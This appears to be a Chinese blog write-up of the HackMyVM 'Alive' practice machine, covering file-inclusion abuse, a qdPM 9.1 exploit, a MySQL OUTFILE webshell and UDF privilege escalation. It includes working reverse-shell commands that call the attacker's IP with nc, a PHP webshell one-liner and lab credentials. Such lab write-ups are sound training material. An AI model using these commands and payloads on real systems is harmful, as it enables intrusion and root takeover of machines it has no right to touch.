首页 > 其他分享 >HackMyVM-Alive靶机的测试报告

HackMyVM-Alive靶机的测试报告

时间:2025-01-06 17:32:52浏览次数:3  
标签:文件 Alive 192.168 so HackMyVM mysql php root 测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、主机探索

/opt目录

/vat/www/code的web渗透

4、提权

写入webshell

UDF提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.101.127)

靶  机:debian(192.168.101.155)

注意事项:

①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。

②靶机启动失败:设置中取消勾选usb即可

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录扫描)、python3(临时web服务)、nc(监听shell)、searchsploit(查找exp)、echo(写入文件)

Burp suite(修改发送数据包)

测试网址:http://192.168.101.155、http://digitcoder.alive.hmv

靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。

地址:https://hackmyvm.eu/machines/machine.php?vm=Alive

二、测试目的

通过文件包含漏洞获取shell,使用mysql进行提权。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

靶机IP:192.168.101.155

物理机IP:192.168.101.241

端口和服务探测

nmap -sT -A -p- -T4 192.168.101.155

可以看到靶机开放22端口(ssh服务)、80端口(web服务)

目录扫描

gobuster dir -u http://192.168.101.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

只有一个主页和tmp目录,是空着的

2、Getshell

主页的url注入框,可以进行包含url,存在文件包含漏洞

www.baidu.com

用file协议查看/etc/passwd文件

file:///etc/passwd

存在一个普通用户alexandra和root用户

尝试包含当前页面的源代码

file:///var/www/html/index.php

可以看到成功获得页面源代码,使用了curl命令获取资源并输出

代码过滤了一些黑名单符号,但没过滤重定向符号>

尝试命令注入,将获取的资源重定向写入反弹shell

使用python3搭建临时web服务

192.168.101.127:8888/reverseShell.php > shell.php

但是没有成功写入

这时候想到给了一个其他目录,尝试写入tmp目录

192.168.101.127:8888/reverseShell.php > tmp/shell.php

可以看到成功请求

成功写入反弹shell

Kali攻击机开启监听,点击shell.php文件即可获取反弹shell

3、主机探索

Web网页只有主页和tmp目录,但在网页目录中发现其他目录

/var/www/code

Index.php可以找到mysql的一个用户名和密码

admin/HeLL0alI4ns

并且这个也是一个网页资源,试试找找这个网页有没有打开

/opt目录

靶机没有netstat命令,使用ps命令查看进程

ps -aux

可以看到启动了8000端口,使用php开启了web服务,根目录是/opt

先在/opt目录查看下源文件

一个zip文件,一个html没什么用

cd /opt
ls
cat index.html

解压zip文件,获取一串数字

cp backup.zip /tmp
cd /tmp
unzip backup.zip
cat digitcode.bak

使用包含靶机8000端口资源,也没什么用

/vat/www/code的web渗透

这个web感兴趣可以玩一下,最后的权限也是www-data,可以直接找提权方法,这算是作者留下的彩蛋。

在apache2的根目录查看网站配置文件有所发现

/etc/apache2/sites-available/000-default.conf

可以看到有所发现,网页目录是/var/www/html,当设置hosts地址:digitcoder.alive.hmv时,网页地址就是/vat/www/code

添加hosts进行访问

192.168.101.155 digitcoder.alive.hmv

可以访问,这个15位数字就是在/opt目录发现digitcode.bak文件内容

494147203525673

输入正确后会进入到qdPM的登录页,但是不知道登录的用户名和密码

尝试在源文件中寻找,发现使用了mysql数据库

/var/www/code/qdpmApp/check.php

找到数据库配置文件:

/var/www/code/qdpmApp/core/config/databases.yml

发现又一个数据库用户名和密码

qdpmUser/HeLL0alI4ns

mysql -u qdpmUser -p
HeLL0alI4ns
use qdpm_db;
show tables;
select * from users;
exit

这里有个问题,我无法获取交互式的MariaDB。输入sql命令后不会执行,在输入exit时,才会执行所有命令并退出。

可以看到登录email:  administrator@alive.hmv

但是密码解不出来

尝试数据库密码登录登上去了

administrator@alive.hmv/HeLL0alI4ns

该webapps是qdPM 9.1版本

可以找到该版本的rce漏洞进行利用

searchsploit qdpm 9.1
searchsploit -p php/webapps/50944.py
cp /usr/share/exploitdb/exploits/php/webapps/50944.py 50944.py

因为url需要hosts,也要设置kali的hosts内容

echo '192.168.101.155 digitcoder.alive.hmv' >> /etc/hosts

python3 50944.py -url http://digitcoder.alive.hmv/qdpmApp/ -u administrator@alive.hmv -p HeLL0alI4ns

成功生成后门文件

不过这个也是www-data权限,就没什么利用价值了

4、提权

写入webshell

mysql -u admin -p -e "show databases;"

查看数据库发现,admin用户可以查看mysql表

找出root用户的密码信息

mysql -u admin -p -e "SELECT host,user,password from mysql.user;"

root/*88B2B2E7392C149CE6B704871A568FD35798F9B8(thecondor)

解密网站(需要翻墙):

https://crackstation.net/

尝试用mysql的root查看文件,只能查看普通文件,root权限的文件看不了

mysql -uroot -p -e "SELECT load_file('/opt/index.html');"
mysql -uroot -p -e "SELECT load_file('/etc/shadow');"

写入文件getshell

mysql -uroot -p
thecondor
select "<?php echo shell_exec($_GET['ccc9wy']);?>" into OUTFILE "/opt/getshell.php";
exit
ls -la

可以看到,写入的文件是root权限的

用该文件进行反弹shell,得到的权限就是root

使用文件包含漏洞,访问内网8000端口上的getshell.php

http://127.0.0.1:8000/getshell.php?ccc9wy=nc%20-c%20%2Fbin%2Fbash%20192.168.101.127%209999

Kali开启监听,成功获取root权限的反弹shell

查看root.txt

SHELL=/bin/bash script -q /dev/null
cd
cat root.txt

819be2c3422a6121dac7e8b1da21ce32

user.txt在alexandra用户的家目录

cd /home/alexandra
cat user.txt

1637c0ee2d19e925bd6394c847a62ed5

UDF提权

查找udf的exp

searchsploit mysql udf

复制一份exp出来使用,并直接编译,编译成so文件

searchsploit -p linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c 1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
ls

上传so文件到靶机

wget 192.168.101.127:8888/raptor_udf2.so

查找plugin插件位置

mysql -uroot -p -e "show variables like '%plugin%';"

复制so文件到插件位置

cp /tmp/raptor_udf2.so /usr/local/mysql/lib/plugin/raptor_udf2.so

开始利用,导入so文件

mysql -uroot -p
thecondor
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/local/mysql/lib/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('nc -e /bin/bash 192.168.101.127 6666');

在攻击机进行监听,成功获取root权限的反弹shell

nc -lvvp 6666
id

四、结论

靶场内容很多,可以详细探索一下。利用了主页的文件包含漏洞,qdPM的web系统RCE漏洞。Mysql可以越权写入文件,使用udf提权。

标签:文件,Alive,192.168,so,HackMyVM,mysql,php,root,测试报告
From: https://blog.csdn.net/2301_79698171/article/details/144959781

相关文章

  • ThreadPoolExecutor keepAliveTime 含义
    现象在线上环境排查问题时,某个线程池在某个时间点新建线程达到设定的最大线程数maximumPoolSize,后续流量降低后当前线程数仍未回落,仍然为最大线程数,阻塞队列中有任务,但是活跃线程数显著减少。之前的认知固有的认知中,线程池运行原理:java.util.concurrent.ThreadPoolExecutor#ex......
  • HackMyVM-Airbind靶机的测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、信息搜集2、Getshell3、提权使用ipv6绕过iptables四、结论一、测试环境1、系统环境渗透机:kali2021.1(192.168.101.127)靶 机:debian(192.168.101.112)物理机:win11(192.168.101.241)......
  • vue中keep-alive从详情页返回列表页缓存,保持原滚动条位置
    项目需求:需要从商品列表页diamond中点击某一个商品进入商品详情页productDetail后,从详情页返回到列表页时需保持原来的滚动位置,并使用keep-alive进行组件缓存实现性能优化1、在路由中设置keepAlive属性默认为true,避免无法及时识别是否需要缓存{path:'/diamond',n......
  • HackMyVM-Again靶机的测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、信息搜集2、Getshell3、提权四、结论一、测试环境1、系统环境渗透机:kali2021.1(192.168.101.127)靶 机:Linux(192.168.101.204)物理机:win11(192.168.101.241)靶机启动失败:设置中取......
  • HackMyVM-Adroit靶机的测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、信息搜集2、Getshell3、提权四、结论一、测试环境1、系统环境渗透机:kali2021.1(192.168.101.127)靶 机:debian(192.168.101.103)物理机:win11(192.168.101.241)2、使用工具/软件Kal......
  • lvs+dr+httpd+keepalived高可用部署
    lvs+dr+httpd+keepalived高可用部署 参考文档:http://blog.csdn.net/m582445672/article/details/7670015a、keepalived是lvs的扩展项目,因此它们之间具备良好的兼容性。这点应该是keepalived 部署比其他类似工具能更简洁的原因吧!b、通过对服务器池对象的健康检查,实现对失......
  • HackMyVM-Adria靶机的测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、信息搜集2、Getshell3、提权四、结论一、测试环境1、系统环境渗透机:kali2021.1(192.168.101.127)靶 机:debian/linux(192.168.101.226)注意事项:该类型靶场只能在virtualBox上搭建,因......
  • keepalived 安装部署与LVS虚拟服务配置
    keepalived安装部署一、keepalived安装官网地址:http://www.keepalived.org/download.html1、Keepalived环境准备各节点时间必须同步:ntp,chrony关闭防火墙及SELinux各节点之间可通过主机名互相通信:非必须建议使用/etc/hosts文件实现:非必须各节点之间的root用户可以基于......
  • Keepalived备忘录
    (241230)基础内容Keepalived是一个基于VRRP协议来实现的LVS服务高可用方案,可以解决静态路由出现的单点故障问题。在一个LVS服务集群中通常有主服务器(MASTER)和备份服务器(BACKUP)两种角色的服务器,但是对外表现为一个虚拟IP,主服务器会发送VRRP通告信息给备份服务器,当备份服务器收不......
  • Keepalived的工作原理是什么?
    Keepalived是一个在Linux系统中广泛使用的软件,用于实现高可用性(HighAvailability,HA)和负载均衡。它的核心工作原理基于VirtualRouterRedundancyProtocol(VRRP)协议,旨在避免单点故障,确保关键服务如Web服务器、数据库服务器等的不间断运行。以下是Keepalived工作原理......